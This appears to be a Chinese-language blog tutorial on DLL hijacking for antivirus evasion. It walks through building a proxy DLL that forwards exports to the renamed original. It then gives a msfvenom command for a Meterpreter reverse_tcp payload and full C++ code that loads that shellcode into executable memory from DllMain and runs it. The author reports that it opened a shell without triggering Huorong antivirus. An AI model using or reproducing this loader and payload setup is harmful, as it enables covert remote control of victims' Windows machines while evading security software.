DLL劫持-免杀
什么是DLL劫持
举个简单的例子,一个程序A调用了d.dll中的某些函数.我现在修改d.dll的名字变成d-org.dll。然后我写再写一个d.dll的文件,将原本d.dll中的函数转发到d-org.dll上。实际上就是多了一个中间商
就和开了代理一样,我一样从本机连到网站,只是中间走了一个代理
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- A - - A -
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| | ----------
call ---> |_____ - new D -
| ----------
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- D - - D-org - ______|
------- ---------
既然走了代理,那我们就可以在这个“代理商”这里做点手脚。比如夹带私货等等
怎样转发dll函数
道理都懂,但是怎么转发dll函数
最朴素的思路是什么?那无疑是直接LoadLibray直接导入原来的dll,然后对
应的写一个相同的函数名,然后GetProcAddress导入对应函数名的函数
这样可以做到,但是很麻烦,而且低效率,一个更高效的做法是利用#program这条预编译命令
#pragma comment(linker, "/EXPORT:<Function name>=<Dll name>.<Function name>")
比如,我新的d.dll要转发d-org.dll中的一个msg的函数
在dll文件中添加一条
dll劫持demo编写
我是用vs2019写x64,release模式
要建3个项目,一个是可执行文件hello.exe(相当于a.exe),一个是dll-1.dll,一个是dll-2.dll
dll-2.dll是为了转发dll-1.dll中的函数
先写dll-1,写个简单的messagebox
#include "pch.h"
#include <Windows.h>
void msg() {
MessageBox(0, L"dll-1 load succeed", 0, 0);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
记得在头文件framework.h中导出这个函数
#pragma once
#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>
extern "C" __declspec(dllexport) void msg(void);
void msg();
然后写个调用这个dll的hello.exe
#include <iostream>
#include <Windows.h>
int main() {
typedef void(*DLLFUNC)(void);
DLLFUNC GetDllfunc = NULL;
HINSTANCE hinst = LoadLibrary(L"Dll-1.dll");
if (hinst != NULL) {
GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");
}
if (GetDllfunc != NULL) {
(*GetDllfunc)();
}
return 0;
}
这个时候运行这个程序就回显示这个dll调用成功
然后来编写一个劫持的dll,也就是来转发函数的dll2
在导入我这个dll的时候我弹出一个劫持成功的弹窗
#include "pch.h"
#include <Windows.h>
#pragma comment(linker, "/EXPORT:msg=dll-1org.msg")
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
DisableThreadLibraryCalls(hModule);
MessageBox(NULL, L"劫持成功!", L"提示", NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
} ![劫持成功](https://tva1.sinaimg.cn/large/0081Kckwly1gks9ro43qhj303p03w0sj.jpg)
注意到预编译指令是
#pragma comment(linker, "/EXPORT:msg=dll-1org.msg")
转发的dll名字是dll-1org,这是我决定把dll-1改名成dll-1org了,所以写死在dll-2中,毕竟等下要将dll-2改名成dll-1,这样程序才会调用我的dll
这时候不是在vs中跑,我把这个3个文件放到同目录的地方,然后运行hello.exe
表示我成功劫持了,思路也很简单
免杀
我不擅长写shellcode,就直接用msf生成shellcode
msf里的shell被各大安全厂家都看的很死的,直接生成exe秒杀,这里不直接生成exe,生成shellcode文件就可以了
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=<电脑ip地址> LPORT=<随便选的没被占用端口> -f raw > shell.bin
继续用上面的例子来
dll-2就不弹窗了,在这个dll中导入shellcode
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>
#include <stdlib.h>
#include <stdio.h>
#pragma comment(linker, "/EXPORT:msg=dll-1org.msg")
DWORD WINAPI DoMagic(LPVOID lpParameter)
{
FILE* fp;
size_t size;
unsigned char* buffer;
fp = fopen("shell.bin", "rb");
fseek(fp, 0, SEEK_END);
size = ftell(fp);
fseek(fp, 0, SEEK_SET);
buffer = (unsigned char*)malloc(size);
fread(buffer, size, 1, fp);
void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buffer, size);
((void(*) ())exec)();
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
HANDLE threadHandle;
threadHandle = CreateThread(NULL, 0, DoMagic, NULL, 0, NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
上面的函数就是读取shellcode,然后申请一块内存,再就执行函数,相当执行shellcode
我不做其他处理,没加上其他免杀操作,此时来执行这个程序
可以看到,msf返回shell了,然儿火绒没有丝毫反应
火绒:你不讲武德
其实很简单,就是dll中申请内存,直接执行shellcode。
我尝试这个写法,程序中直接执行shellcode,会断了
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